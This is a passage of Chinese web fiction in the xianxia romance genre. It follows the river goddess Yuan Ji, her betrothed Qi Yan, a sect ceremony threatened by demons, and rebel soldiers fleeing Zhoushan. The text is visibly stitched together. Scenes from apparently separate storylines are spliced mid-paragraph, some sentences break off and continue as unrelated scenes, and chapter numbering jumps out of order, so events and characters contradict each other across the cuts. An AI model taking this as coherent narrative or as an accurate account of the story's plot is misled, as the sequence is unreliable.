祁夫人满足地叹了口气:“对了,我这几日光给你操心聘礼的事,你还没与我说那元姑娘是谁家的孩子,我们这边准备再齐全也没用,还得我与你爹亲自去拜访人家才是啊。” 祁琰眨了眨眼睛,抿嘴道:“昨天已经拜访过了啊。” 祁夫人顿了顿:“我怎么完全不记得啊?” 祁琰伸手摸了摸下巴,双腿架在了凳子上,长长地嗯了一声后说:“我昨日早上,不是拉着您与爹一同去了城中的土地庙了吗?” 祁夫人抿了抿嘴:“可是土地庙里没别人啊。” 祁琰点头:“土地神在啊。” 祁夫人一巴掌拍在了祁琰的肩膀上:“你这孩子,与你说正事呢你总拿娘打趣!一把年纪了还不正经些!” 元吉眼中闪过一丝不奈,正欲快步离开这群聒噪的鸭子,却兀得听见几声吸气声,瞬间吵闹的人群噤若寒蝉。 数个衣着齐整,面容冷峻的人从山门阵法出现。他们无一不是冷着脸,一副生人勿进的模样。 众人呆呆看着他们,眼中闪过一丝激动却按耐住,不敢造次。 谁知那冷若冰山之人在瞧见前头一个身形时,顿时冰山消融,眼中的热切如火山喷发似的,灼人心肺。 “河神大人!”他快步上前两步,目光灼灼地望向元吉。 “河神大人,真巧啊,您也是来参加定仙大会吗?” 元吉定眼瞧去,原来是个熟人。“是你啊。” 拦住元吉的不是别人,正是方才众人提到的丹心宗弟子十一,眼见元吉还记得自己,十一顿时激动地眼含泪花。 “正是在下,承蒙河神大人厚爱还记得我。”十一正想上前再说些什么,只觉似有一道冰冷的视线落在自己身上。 像是在冬日里被师父揪出温暖被窝,还迎头浇了一盆冰块般痛彻心扉。 十一打了个哆嗦,不由得搓了搓胳膊,他喃喃,“奇怪了,怎么突然有些冷。” “早知河神大人您也来,我们宗主定要出关亲自向您道谢。师妹最近身体好多了,天天念叨着想您呢……” “河神大人您居然将一次庇佑当作彩头!这可是天大的恩赐!” 十一将那怪异的感觉抛之脑后,甚至拉着身后门中弟子为元吉鞍前马后,恨不得端茶倒水好好伺候。 他可是知晓元吉的实力,此刻听闻元吉的彩头是一次庇佑,当即给身后师弟打了个手势。 务必将河神大人当作亲祖宗好好伺候,他可得快点通知宗主这个天大的好消息。 那些弟子早已耳闻元吉的事迹,此刻无一不是怀着敬仰的目光,自发簇拥着元吉往山上去。 一时间,元吉竟成了众人视线的中心,无数好奇的声音开始打探,这究竟是何人能被丹心宗奉为上客。 亓官上幽幽看了眼周遭多出来的人,深深吸了口气。 正这时,另一道雀跃之声从前头传来,“河神大人!” 清脆的少女声音如白灵般悦耳,数道鲜艳的身影自山顶一跃而下御剑飞来,空中花瓣翩飞,花香四溢,如梦如幻,叫无数人看直了眼。 “是洛秋水!没想到居然能瞧见她,这次真是来值了!” 洛秋水等人的出场,惊艳了无数人。 黄黎余光瞥见众人惊艳痴痴的目光,更是骄傲地抬起下巴,不枉她听闻此次河神大人会来,早早地梳洗打扮。 这下,河神大人眼中定只有她们了。 “河神大人!好久不见,就让我们给你带路吧。” 黄黎就像是没看见十一似的,一个飞撞就将人给撞了出去。她抬手拖着元吉的腕子,小心搀扶着。 洛秋水盈盈一笑,顺势占据另一侧的位置,“河神大人亲临,真是让天极宗蓬荜生辉。定仙大典还有一段时间才开始,不如去我那小坐一会。” 元吉黑着脸将这一切收入眼中,只是攥紧的手暴露微微颤抖显然是怒火中烧了。 “元吉!这几人好过分啊,这么小的孩子都下得了手!我们快去收拾了他!” 阿统气得呲哇乱叫,一拳拳揍在那人身上,却没造成半点伤害。 “嗯。”元吉应了一声,刚想着不管一切把人给救出来,手上却多了一股力。 她抬眼看去,撞入一双深邃的眼眸。 祁琰按下她的手,将一枚珠子塞进她手中,他沉声道。 “我们一起去。” 第 33 章 第三十三章 第三十三章 “屏息。”祁琰就这般看着她,眸光像是有股魔力,让人不由得静下心来。“走。” 元吉紧紧将那枚珠子捏在手中,微凉的触感传来安抚着内心的烦躁,她深呼一口气冷静了许多。 祁琰给她的珠子上刻着能隐匿身形的阵法,同栾萱的幻境玉衡作用相似。只需用灵气催动,再屏息便能让旁人无法发现自己的存在。 这珠子小巧,上头的阵法刻制更需细致,稍有不慎便会出差,因此极为稀罕。若是让松盈子瞧见了,指不定又得大惊小怪起来。 元吉扫了眼洞口那两个互相吹嘘,通过鞭挞比自己弱小数倍的幼童来满足自己的虚荣心的人,眼神暗了暗。 她快速往珠子中注入灵力,不过一息的时间她的身形便消失在了树后。 钟泰永将所有愤怒咽回喉间,一双不大的瞳仁渐渐被血色占据。周身的剑气被调动起来,随着他长剑缓缓抬起,冷冽的风吹向元吉。 墨发无风而动,元吉的不奈越发明显起来。 她抬眼扫了圈附近面露惊恐退后半步的人群,又将目光落回到那泛着冷冽银光的长剑,眸子微眯。 那直指元吉的长剑陡然颤动起来,一阵阵低沉的剑鸣从长剑身上发出,似痛苦的哭嚎。 这一瞬间的变化让钟泰永睁大了眼想看清发生了什么,只是大片大片的红雾蒙住了他的视线,他只能感受到手中的长剑在害怕什么。 慌乱在心头一闪而过,钟泰永来不及抓住那一闪而过的思绪。 他眼睁睁看着元吉一步一步朝自己走来,随后同自己擦肩而过,连抹余光都不曾留给自己。 只留下手持长剑僵在原地的自己。 像是个傻子。 “无聊。”元吉像是喃喃,径直走向通往观霞峰的小径。 “嗤。”吉有些无语,她慢慢将身体显现出来,对着那四个护卫问:“你们在那儿干什么呐?” 护卫丁一眼就看见了元吉,立刻扬起一副天真浪漫的笑容对她挥手:“夫人好。” 护卫甲、护卫乙、护卫丙纷纷看过来,露出了一模一样标准的笑容,也挥手:“夫人玩儿水呐?” 元吉:“……” 她大概知道这几个人过来干什么的了。 元吉的目光在周围扫了一圈,天色有些暗,她的视线并不算好,在林子里看到了一抹光,那提着灯笼慢慢走过来的男人一句话也没说,脸上扬着笑意一路到了环城河边。 他蹲在了石子路上,低着头看向元吉,笑眯了一双眼睛,灯笼就放在旁边,将两个人都笼罩在光芒里。 祁琰问:“你找我呢?” 元吉眨了眨眼睛,稍微瞥开了点儿视线:“不应该是……你找我吗?” 祁琰嘿嘿一笑:“别怕,他们几个看着呢,咱们来说说话。” 元吉默默地朝土地庙看了一眼,已经看见了土地神带着光圈的虚影,双手叉腰,很不好惹的样子。 不知道谁先笑出了声,却又快速将笑意给压了回去。窸窸窣窣的讨论声化作声声大笑飞入钟泰永耳中。 钟泰永霎时目眦欲裂,手紧紧握住长剑奋力挥动朝元吉刺去。 疾风而来,身侧地惊呼声戛然而止。 元吉稍稍偏头,抬手两指夹住那银色长剑。她眸光转动,一股磅礴灵力自指尖溢出,顺着长剑如同迅速出击的长龙张开庞然大口。 钟泰永被那力量冲的头脑一瞬间空白,周身像是被卸去了所有力气一般轻飘飘。 他茫然地张了张嘴,看着元吉逐渐远去地身影,目光最终落在那飘扬在空中的长发,轻柔而洒脱。 “她是怎么接住的?” 钟泰永呆呆问了句,身侧却没了回答他的声音。他扭头瞪向一旁的梦七,刚想开口呵斥,却见那梦七瞪大了眼像见了鬼似的指着他的剑,整个人不住地颤抖。 “你发什么疯,天极宗就派你这样的人接待?” 心中的不满在此刻再次爆发,可下一瞬,钟泰永陡然睁大了眼,心中震荡不已。 只见他那柄从万剑宗剑冢中精挑细选出来的上品灵剑上此时已布满密密麻麻的银色光线。 只一息,瞬间破裂成上千片碎片。 凝滞的空气再次流动起来,众人看着破碎的灵剑又看着被花团锦簇着离去的元吉,再看看呆滞在原地的万剑宗钟泰永,人群顿时炸开了锅。 “此人是谁?好强悍的力量!那可是万剑宗的灵剑!” “一定是那钟泰永实力太弱,我听闻天赋在他之上的是另一名弟子阮玄新,那才是真的天赋异禀,真的剑修天才。” “不过那女修定是有不凡实力的,你看她身边可是跟着丹心宗和天极宗的人,一般人可做不到如此” “听说是河神!最近时常从我们宗门附近的村民口中听到。听说此人十分……心善。” “心善?别开玩笑了吧。我都快被她给吓死了。刚才连口气都不敢呼……” “我看玉简上有河神的彩头,你说我要不要试试。” 一时间,元吉再次成为了众人的话题中心。 可众人不知道的是,此时的钟泰永心中泛着阵阵寒意,冰冷的汗珠自脖颈滑落,激起层层寒颤。 为什么, 他的眼睛, 看不见了。 他们不知道即将面对的是什么。 是拷打,是辱骂,又或是死亡。 直到一人认出了元吉,他呆了一会,不敢置信地揉了揉眼睛。直到确认自己没有看花眼,才猛地站起身来,兴奋喊道。 “是河神大人!” “河神大人听到了我们的呼唤!” “河神大人来救我们了!” “我们有救了!” 第 34 章 第三十四章 第三十四章 阴暗潮湿的地笼之中,浓郁的腥臭裹挟着腐朽的死气传来。元吉眉头微微拧起,眼中闪过一丝狐疑。 将指尖的火种往下一探,借着火光,元吉垂眸看去。衣衫褴褛的一群人皆是被这光亮吓到了,满脸彷徨惊慌失措地缩头躲起,生怕下一个被抓走的就是自己。 然其中有一人眸子极亮,迎着亮光往元吉这跑来,同时像是见到了救世主一般向旁人宣告着这个好消息。 “你们看,河神大人真的来救我们了!” 瞧着这群人露出半信半疑的神色,元吉将视线凝聚在面前这张沾满泥土斑驳的脸庞之上,陷入沉思。 他回首吼叫一声,身后小八当即一个猛扑,手中的长刀便朝着老者心口刺去。 好在对方尚有力气往一旁爬了半步,那刀偏了几寸,金色的光泽闪过却被身上的护身法器给拦住了致命一击。 “长老!”目睹这一切的弟子当即拼尽全力朝他扑去,“魔物,休要放肆!” 谁知小八全然未听见去,疑惑地眨了眨漆黑的双目,双手交叠再次用力往下一按。 听得“咔嚓”一声,那人身上的防御法器发出一阵悲鸣后湮灭了。 无数蓝色光点升腾而起,显得小八的长毛笑脸更加鬼气森森。 “长老!”“是!冲下山去!” 夏将军一拍桌子:“别吵了!你们一言一语,我头都快炸了!” “那将军决定咱们应当如何做?” 夏将军微微眯起眼睛,他朝手下的几个弟兄看去,又看向守在门外的几千弟兄,人马都到齐,只要他一声令下,这些人必定能冲下山去,想要保命并不是难事。 可他们效忠的人已经倒台,即便他冲出去,将来也不会再有所作为,找一处农田当个普通百姓,并非他们这种苦练多年的将士想要的。 夏将军闭上眼睛,深吸一口气道:“不论如何,弟兄们不能死,咱们先冲出去,虽然三皇子入狱了,但朝中大皇子还在与六皇子抗衡,他们只知我的名讳,对于你们的身份一概不知,你们尚可以投靠他们任意一人名下,将来再有所作为也非难事。” “将军?!”众人没想到夏将军竟然如此说,一时都愣住。 夏将军大手一挥:“好了!就这样,你们四个去领着自己的兵队,东南西北四侧下山,将山脚下的兵队分散了之后,再逐个击破,不能等到祁家那人回来。” “是!” 众将士领命便要往山下冲。 此时还在水中的元吉远远地往舟山上看去,那山顶一阵鸟雀惊飞,似乎有不小的动静。 她皱着眉头,心中总有些不安,感觉像是有什么大事即将发生一般。 果然,元吉没等多久就看到了一条小鱼儿,那鱼儿是从舟山上游下来的,到了元吉这儿便立刻开口:“遭了遭了!山匪冲下山了!” 元吉心中大震,如果山匪冲下山,那山下把手的兵队便危险了,元吉去过舟山上,知道那夏将军手下的兵力如何,与她所估计的数字只多不少,山下的一千来人根本不会是他的对手! 不行,如果真的让他们离开吴州,那祁琰再想找到这群人就难了。 元吉立刻钻入水中,小鱼儿连忙跟过去:“你要做什么去呀?你法术又不行,能帮上什么忙呀?” 元吉皱眉道:“谁说我法术不行?打架虽然不是他们的对手,但是土地爷说过,这整个吴州的活水都由我操控,舟山上的也不例外!” “算了吧,我听我爷爷的爷爷的爷爷说,你那个时候就已经开始在练这门法术了,现在还不会,别枉送了自己的性命!” 元吉逆流而上,入了瀑布之中。 小鱼儿实在冲不上去,只能在水下一个劲儿地打转,元吉对着它笑了笑:“放心,我是河神,只要吴州的水不干我就不会死,你先走,给舟山上的鱼虾蟹都通报一声,我要开始毁他们家园了。” 小鱼儿一听,知道元吉这是要玩儿真的了,立刻摆着尾巴要去告诉自己的左领右舍,河神疯了,让他们赶快跑。 元吉入了舟山山匪住所后面的一处水潭,仔细看了外面依旧有几百号人还在留守着这处,再见其余的人统统冲下了山。 他们的声势不大,打算背后偷袭,元吉在人群中看见了夏将军。 她立刻转身钻入了水里,伸手捂着自己狂跳的心口,看着眼前的水花,抿了抿嘴。 土地神说过,只要是吴州的水都由她支配,她今后要慢慢学习如何控制水源,如若上面有吩咐,让她闹个水灾什么的,她也得配合着去做。 法诀早就教下来了,只是她一直都没有机会去实践而已,每次拿着一点儿水做实验,效果都不太明显。 元吉很怕自己这次也出了差错,但是夏将军的人要逃,他们可是祁琰受了朝廷命令要捕捉的反贼,怎么可以逃? 元吉闭上了眼睛,双手抚在了心口上,深吸一口气后默默在心里念出了土地神教的法诀,几句话念完之后,周围的水顿时开始翻滚。 且水潭中的水翻滚越来越大,元吉双手向上伸展,那水潭的水本来是要往山下流去的,就在此刻,所有的活水都开始倒流,元吉浑身疼痛,仿佛五脏六腑也跟着逆转了过来。 她吞了吞口水,转身看了一眼夏将军模糊的背影,如果能把这个人淹死,也算是给自己报了仇,还了一命。 元吉看向周围翻滚的河水,瞬间喷涌了出去,以一个弧度砸在了地面上激起浪花,将泥土全都冲散。 崩溃的喊声喊道一半却戛然而止。 众人目瞪口呆地看着一双纤细白皙的手,仿佛就像是捏起一片树叶那般轻松,掐着小八的脖颈缓缓将人提起。 “我说,还给我。” 轻飘飘几个字,却像是一块块从天而降的巨石,砸的人头脑发晕,只是茫茫然地望着元吉。 看看在她手中扭来扭去像团发狂的海草,与先前那可怖的魔物判若两物。又看看她一脸轻松轻而易举将那可怕长刀尖端的金色碎片拆下来。 众人不约而同地摸了摸炙热的心口,感受着底下异常的跳动,他们咽了口唾沫,似乎在这一瞬间能明白为何那些村民会如此推崇河神了。 “河神,河神大人。”先前被攻击的老者气若游丝地被众人搀扶着起来,“多谢河神大人出手相助,否则今日,我们便要丧生在这两魔物手下了。” 身后数人同样的眸光闪动,颇为信赖地望向元吉。 “这魔物突然出现,不知是那魔界又要做什么?”一人忧心忡忡,“我们还是尽快通知大家做好防备吧。” “是极。也不知道他们是如何进来的,我们这么多人都奈何不了他们两个。还好有河神大人救了我们一命。” “等等,那玉简上的彩头——” 众人惊觉,这彩头竟要比其他任何一件宝物都珍贵。 毕竟谁没有个一生之敌呢。 一次庇佑,也是一次活命的机会。 思量至此,众人的呼吸顿时急促起来,望向手中玉简的目光也颇为炙热。 正此时,数名天极宗弟子匆匆赶来,向众人拱手行礼后朗声道:“诸位前辈,这两魔物趁着定仙大典混入后山,师祖派我们前来将他们收到地牢中关押调查,诸位受惊了。” “请前往前院歇息,天极宗已将赔礼置于各位屋中。师祖颇为重视这事,已在天极宗布下防御阵法,请各位放心。” 众人抬眼瞧去,果真见一道弧形阵法将整片群山包拢起来。任何妖魔都无法进入,同样,任何人也无法出去。 “师祖请大家安心休息,明日定仙大典正式开始。” 元吉见两位天极宗弟子面无表情地拿着捆仙绳将小六小八像捆粽子一般捆紧,倒是佩服两人能如此铁面无私。 “他们没认出来这两人是他们的弟子吗?” 阿统幽幽看了眼黑色毛发盖满全身的两人,“这应该很难看出来。” 元吉默默抬了口气,这么明显还看不出来,这天极宗的弟子也不过如此,如果是他肯定…… 元吉一怔,扭头看着倚在树干上身影绰约的那人。 算了,这群人眼神都不太行,何必为难他们。 元吉感受着周遭似有若无的目光,漫不经心地瞟一眼,就能瞧见一个眼神极亮的人巴巴地望着自己,顿时一噎。 有些恶寒。 “多谢河神大人出手制服魔物,接下来便交给我们吧。”那人毕恭毕敬地朝元吉行了个礼,伸手为她指明回去的方向。 看似恭敬,实则却不容置疑。 元吉两指捻着方才拿到的碎片,默不作声地将它握在掌心。她微微颔首,朝着天极宗弟子所示方向走去。 果不其然,那两名弟子见她率先离去,皆是松了一口气。 元吉将一切收拢在眼底,随后朝着向易之使了个眼神。后者当即眼珠子轱辘一转,捂着肚子攀扯住一旁的小弟子。 “哎呦,肚子疼。河神大人我先走一步。”待元吉应允后忙扯着小弟子,“好孩子,快带路。” 只是待两人离开众人视线时,向易之一改痛苦面色,迅速将那小弟子击晕藏了起来。反身带着关柔直奔后山那山洞。 那山洞中定有玄机。 穆德忠叹息一声,然这口气才叹了一半,面前的石壁“轰”地一声倒塌了,唬得他心口一痛,差些没缓过气来。 遭了,这动静自己怕是要交代在这了! 穆德忠脸色顿时变得灰白起来。 下一瞬,尘土飞扬之中,一个熟悉的身影缓缓出现。 “河神大人!”穆德忠心下一喜,可余光瞥见元吉身后庞大的人群时,整个人倒吸一口凉气。 这,这些眼冒精光,虎视眈眈盯着自己的人是什么情况!? 第 35 章 第三十五章 第三十五章 山洞之中的火堆噼里啪啦地爆着火花,柔和的光芒伴着时不时的笑声,紧张的心瞬间松弛了不少。 松盈子表情怪异地瞧着这群村民争抢着来替他和穆德忠解绑,不太明白为何他们同自己之前遇到的村民全然不同。 他先前遇到的村民总是离他们远远的,时不时偷瞄自己两眼,一副谨小慎微的模样。 可这些村民,松盈子打量了他们一眼,无一不是一副被抓后受尽了蹉跎和折磨的模样。但他总觉得有那里不对,他们看起来莫名的……非常兴奋? 松盈子向替自己解开绑着的麻绳的来者道谢,后者顿时一脸受宠若惊的模样,他连连摆手。 “长老!” “哇。”阿统看着和自己一样脑袋大大的众人,兴奋地拍了拍一条触角,“元吉你看!” 元吉瞥了眼这群焦黑的人群,径直朝着亓官上走去。她缓缓抬起手,那道银色的身影快速朝她飞来在她指尖穿梭,最终显出原形。 “小雷。” 雷蛇盘在元吉指尖,吐了吐蛇信,像是在说,你们休想丢下我跑出来玩! 元吉直直地看着亓官上,见他面具之下的眸子中闪过一丝慌乱,她扬了扬眉,瞧得亓官上心慌不已时,她拂袖转身。 在皎皎月色下,衣诀翩飞,伴有雷光霹雳,她抬眼望向众人,语气冰冷,“你们,再说一遍?” 元吉的话并未施加神力,可众人却像是被施了定身术般动弹不得。 “河神,你,这是要保这魔……”腾垚长老话音未落,就被浮生一把捂着嘴给按了回去。 浮生讪笑一声,打岔道:“河神大人勿恼,这人被雷劈坏了脑子,胡言乱语起来了。” 元吉见状颔首,倒是挺满意这人的眼力见。她缓缓扫过在场众人,手中的雷蛇也一同盯着那些人,隐隐有雷光闪现。 “你们呢?”土地神这才摸了摸胡子说:“我听临州的土地告诉我,京城那边传来了消息,三皇子私建兵队,意图谋反,而他不是皇子的事情还是压了下来,不过他背后的势力基本都受到了牵连,该有的惩罚一样都不会少的。” 元吉一听立刻笑了起来:“真的?所以大皇子让祁琰回来了?那祁琰取得了三皇子的血了没?” 土地神瞥了她一眼:“这我哪儿知道?我不过是看你吃个西瓜也心不在焉,告诉你个消息让你开心开心罢了。” 元吉嘿嘿直笑,搂着土地神的脖子就说:“我以后经常给你买西瓜。” 土地神哼了一声:“那是自然,不然你还想买给谁?月老吗?” 元吉松开他,皱眉嘟囔了一句:“你怎么老是与月老过不去啊?” 土地神指着元吉:“还不是为了你?” 元吉伸手摸了摸鼻子:“你不是说,与祁琰成亲没什么问题吗?既然如此……那就不怪月老了。” 土地神翻了一个白眼:“你说你是天真还是傻?若非他祁琰非寻常凡人,你以为你真没问题呢?我与月老这是在你的姻缘簿上多写了一笔,算是给你瞒过上天几十年,反正于他们而言,也就是几十天吧。” 元吉伸手扯着土地神的袖子,撒娇道:“我就知道土地爷对我最好。” 土地神抽回了袖子哟哟了几声:“算了吧,嫁出去的女儿泼出去的水哟。” 元吉突然想起了什么,转头看向土地神:“我刚才吞了西瓜子,肚子里不会长西瓜吧?” 土地神:“……” 元吉不是天真,是真蠢! 在知道祁琰很快就会回来之后,又过了七日,元吉才算是真的打听到了祁琰的消息。 河里的小鱼儿是从临州过来的,说是祁少爷已经到了临州范围了,皇上给了他不少赏赐,除此之外,还有一批五千人的军队在路上,这批军队专门对付舟山上三皇子党羽剩下的残兵。 元吉当时趴在水里撑着下巴问小鱼儿:“那你看见祁琰了吗?” 小鱼儿抿嘴点头:“从城中河路过的时候瞥了一眼。” “他瘦了还是胖了?” 小鱼儿想了想:“好像是瘦了不少,不过倒也算不错。” 元吉当时就有些不开心了,盘着腿坐在水里。 过会儿又想,既然朝廷派来剿三皇子党羽的兵队都已经到吴州了,那山上的那些人必定也得到了消息,势必会有一番大动作,也不知道会不会出什么意外。 如元吉所言,舟山南侧上的山匪的确都乱了,上面传来三皇子入狱的消息时,祁琰已经领着大部队的兵队到了临州,除此之外,原本镇守在吴州的一千多兵队也都守在了舟山脚下,就是为了以防他们逃脱。 舟山上的山匪训练有序,已经有与兵队匹敌的战斗力与纪律,且他们的人数也是兵队的几倍之多,一千多人,只要他们敢闯,根本就不用担心。 夏将军正坐在主殿内,眉心紧皱,站在他面前的是他的四名副将,前段时间派出去暗杀知晓二十多年前事情真想之人的两名副将再也没回来过。 他手中的确有几千人马,但是如果真的冲下山,他就不是山匪,而是真正的反贼。 手下一名副将皱眉:“将军!不能再等了,若是等到祁琰领着兵队回到吴州,咱们再想逃脱就难了!” 另一名副将又道:“逃脱?如何逃脱?又能逃到何处?三皇子已经入狱,咱们一直效忠的朝廷也已经不复存在了,你还指望现在去与皇上请罪,皇上能够绕我们一命?” “如若真的逃走,我们就当真一生只能躲躲藏藏,成为一处山匪盗贼,永远都不会再有出头之日了。” 一人跺脚:“我本想出人头地,建一番丰功伟业,却没想到苦练了这么多年,只能在这山野 众人见浮生发话,虽觉不妥也不敢再多言。面面相觑后,众人齐齐拱手。 “不敢。” “这定是误会。我们险些被那魔物给骗了。” “对对对,都是误会,误会。” 腾垚心中不满,他不解地瞪了眼捂他嘴的浮生,结果浮生却将他的嘴捂得更紧了些。 浮生生怕这人控制不住说出不该说的话,立马拉着他向元吉告退,得了应允后当即拉着腾垚离去。 待两人躲至后山无人之处,腾垚当即甩开浮生的手,指着后者痛骂,“你居然放过那魔!你可还记得自己身为正道的使命,浮生!” “腾垚,你冷静些。”浮生叹息一声,上前将他的手按下,“你忘了,他是和谁一起来的,是河神。” “那又如何?”腾垚梗着脖子,仍旧满脸怒气。 浮生盯着他,欲言又止,满眼都是恨铁不成钢,“那河神实力远在我们众人之上,她若想杀我们轻而易举。何况那人是河神的……” “他即为魔界尊者,偏偏那天雷没劈他,你还不懂吗!” 浮生盯着一头卷发,叹了口气,“如今连应雷劫而生都对他网开一面,反而是你我正道之人被劈成这样,你不觉得这是天道给我们的提醒吗!” 腾垚长老猛地睁大了眼,恍然大悟,他深深对着浮生行了个礼。“多谢老哥哥,再次点醒我!” 浮生扶起他,“你我本是结拜兄弟,何须多言谢。” “明日便是定仙大典了,回去后便让弟子们好生戒备吧。” 他的视线从村民身上扫过,脸上的笑意越来越大,“不过河神大人您的灵力都用完了吧。” 他惋惜地摇摇头,笑意不达眼底,带着些嘲弄。 “看来弑神轻轻松松。” 下一瞬,黑暗笼罩。 第 36 章 第三十六章 第三十六章 黑暗降临,所有的一切都消失了,周遭静得可怕。 没有火光,没有风声,只有血液流淌的响声被逐渐放大,“咚、咚、咚……”一声一声砸在耳中。 元吉唤出火种,借着这微弱的光芒,她目光森然,缓缓扫视一圈,一言不发。 这里只有她一人,祁琰他们去哪里了? 元吉默了瞬,“不曾收徒。” 话音落下,顿时一双眸子极亮,一双眸子落寞。一时间,元吉有些头疼。 不想再纠结这事,元吉重新将注意力落在了那焦黑的魔狼身上,她细细观察着,终于在那狼的耳后发现了一个极小的孔洞。 “你是在哪遇到它的?”元吉心中有个答案,果不其然。 阮玄新挠了挠头仔细回想着,“好像是在离这不远的那那片森林?记不太清了,我刚从天极宗出来便遇到了。” 他刚和父亲闹翻跑出来,结果转头就碰上了魔狼。不得不说,这运气实在差了些。 “说来也是奇怪,我第一次与它交手时便觉得它有些意识不清,跌跌撞撞的。”阮玄新回忆着初次遇到魔狼时的场景,一些不同寻常之处也在回忆中渐渐清晰。 “后来它突然楞在原地,身上的毛发骤然间疯长,当时我还庆幸它眼睛都被毛发盖住看不见我呢。” 阮玄新羞赧一笑,“谁知它后来实力暴涨,变得如此凶残。” 元吉听后,转眼望向亓官上,“阿上,你可有听闻这种秘术?” “不曾。”亓官上也深觉奇怪,“魔界中没有这等秘术。” “魔界!你是魔界尊者亓官上!”阮玄新惊呼出声,整个人倒退半步后又忍不住上前,眼睛一眨不眨地盯着亓官上,满是惊讶和好奇。 天呐!他居然见到了活的魔界尊者! 亓官上见他这般,神情复杂之余又多了几分庆幸。 元吉默默转过头去,暗自松了口气,她放出神力探查一番,果然在这魔狼伤口处找到了几痕像是某种甲虫的甲壳。 棕褐色而带着金属的幽蓝。元吉听到这儿,忍不住皱了皱眉眉头,她就知道事情没有祁琰说得那样简单,祁琰从以前贪玩好动有少爷脾气的公子哥儿变成回来之后心思细腻识人攻心的知府,怎么会不经历几次生死浩劫呢。 “再后来,我与阿甲、阿乙、阿丙任务失败,大人为了救我们与六皇子赌,也同时暴露了自己的身份,重新回到了大皇子的身边。所以……大人应当算是在朝中得罪了大多数人,他回到吴州反而是好的。”护卫丁摸了摸鼻子。 如果换做是他,他也不希望祁琰继续留在京城。 若非有他们几个守着,就凭祁琰那蹩脚的功夫,在京城一波又一波想要致他与死地的暗杀队流中,绝对活不过三日。 元吉抿嘴:“我知道了,他此番去京城是羊入虎口,可大皇子还是要留下他,可见即便是大皇子拿他也只是当做棋子利用而已。” “夫人。”护卫丁苦笑了一下:“朝中是无感情的。” 元吉点头嗯了一声:“所以……我这里不需要你的保护,你回京城去守着祁琰。” 护卫丁愣了一下:“可是大人……” “顺便帮我带点儿东西给他,我写给他的信恐怕没有一封落到了他的手中。”元吉摇了摇头,说完便要起身:“随我去书房。” 护卫丁愣愣地站起来,这刚回来,又要走啊。 第39章 山洪 元吉给祁琰写了一封信,信件里面提到的内容并不多,大致就是让他最好想个办法从三皇子那里弄点儿血出来,好治疗自己的伤口。 加上把舟山上的山匪和季老板这一些事情也都写了进去,至于护卫丁后来知道的事情,她就不一一赘述,折好了信件,元吉把信纸递给了护卫丁。 护卫丁有些为难,抿了抿嘴,认真地告诉元吉:“夫人,您字写成这样大人绝对是看不懂的。” 元吉:“……” 那有什么办法?她不会写字啊! 元吉朝护卫丁瞧过去,护卫丁乖巧地拿起了笔:“夫人说,属下写吧。” 一封信写完了之后,护卫丁将信件放在了怀里,他没带行李回来,身上还有些银钱,再加一匹快马,要去京城也只需要两三天的时间便能到了。 护卫丁上了马后,元吉对他说:“你路上小心些,一定要护住祁琰的安全。” 护卫丁对元吉点头:“属下晓得。” 一声马嘶声,元吉朝离去的护卫丁看去,直到看不到对方的身影后,她才深吸一口气,耸了耸肩走回了知府府衙。 府衙里的人都认识她,毕竟祁琰还在的时候,元吉就在府中住了好些时日,加上祁夫人儿媳妇儿长儿媳妇儿短的喊,大家都知道这位姑娘就是他们家大人的未婚妻。 元吉在知府府没住几天就受不了,回河里去了。 这一段时间再度没有祁琰的消息,时间过得很慢,即便如此也不知不觉到了盛暑。 土地神手上的拐杖换成了一把扇子,经常让元吉跑腿去城里面买西瓜吃。 元吉时长买了一个西瓜就切成两半,坐在河边和土地神一人一半用勺子挖着吃。 土地神吐出了西瓜子,对元吉说:“祁家那小子近日怕是要回来了。” 元吉一口西瓜嚼也没嚼直接就吞进了肚子里,立刻晃着土地神的肩膀问:“真的吗?何时回来啊?” “这是、蛊虫?” 元吉心下当即想到一人或许对这蛊虫了解颇深,她心中一动,当即传音给栾萱。 阮玄新还想着上前探查一番,便被阿统一个重砸止住了脚步。 “先回去,等定仙大典结束或许就知道了。” 话音落下,元吉便同亓官上化作两道白光飞回天极宗。阿统又忍不住拍了拍这人的脑瓜,清脆。 一听就是个没有被知识污染的好脑瓜。 “唧唧唧!”快跟上! “哎?!”阮玄新心中哀嚎,他刚从天极宗跑出来,这会又回去他会被他爹拿长剑扎成刺猬的! 然见他们两人影子都见不着了,他也只能颓丧着脑袋跟了上去。 怪哩,先前怎么不觉得这仙人这么吓人。 话说这仙人同河神大人什么关系啊。一人杵了杵旁边之人,眼神示意问道。 另一人茫然眨眼,不知道啊。不如问问别人。 片刻后,松盈子摸着下巴,认真怀疑。“你说我大师兄和河神大人啊,那说来就话长了,据说……” 不远处,祁琰听着源源不断莫须有的故事从松盈子口中冒出,额角抽动两下,忍了忍,还是忍住没有拔剑清理门户。 算了。 他缓缓扭过头去,只见穆德忠垂着头,一脸悲痛地立在元吉面前。 “河神大人,小川……” “小川,是不是死了。” 第 37 章 第三十七章 第三十七章 空气中那抹缥缈的莲香逐渐消散,宛若寂静夜空中坠落的星光,无人发现它的消亡。 穆德忠呆看着一切狼藉的废墟,神情恍惚,只觉得心下空落落的,他伸手按在心口,钝钝地生疼。 是他来晚了。 是他没有发现小川的变化。 这一切都是他的错。 “谁敢!” 银色的光束在此刻飞出,裹挟着可怖的威压横扫一切,修为不算顶尖的修士当即被这威压压倒在地。 亓官上神色冷冽,清俊的面容此刻露出了属于魔界尊者的威严和深不可测。他目光缓缓扫过在场之人,如同在看一群蝼蚁。 而在一旁的阿统却突然脑海中出现他的声音。“把星月草碾碎给元吉喂下,快!” 阿统陡然清醒过来,察觉眼前的情形当即便要失神尖叫。 一双无形的大手陡然间捂住了它的嘴巴,不容置疑地命令,“快去!” “元吉的魂魄还不能承受这么多的记忆。” “好!”阿统来不及细想为何这人能直接同自己在脑海中交流,身体已经做出反应快速将那星月草给元吉喂下。 淡紫色的植株一碰到元吉便被那汹涌的魂力给吞噬的一干二净,也同样极快地安抚住了那躁动的魂魄。 “亓官上,不要坏我的好事,否则今日你将成为我宝贝的盘中餐。”已到此时,关肃也不和他兜圈子,整个人显出副阴狠毒辣的笑容。 “若你臣服于我,他日待我成神,便封你做魔界的王。可好?” 关肃笑得越发癫狂起来,好似龙骨以是他的囊中之物。“你的腐生咒,快把你吞噬了不是吗?” 亓官上压下眉眼,神情越发冷冽起来。周身的力量不断涌出压制住那些被控制的修士,身上的荆棘也在此刻快速生长,眨眼之间,已经攀附到了他的下颌。 “再运用你的能力,你可要比你的爱侣先行离开这世界了。” 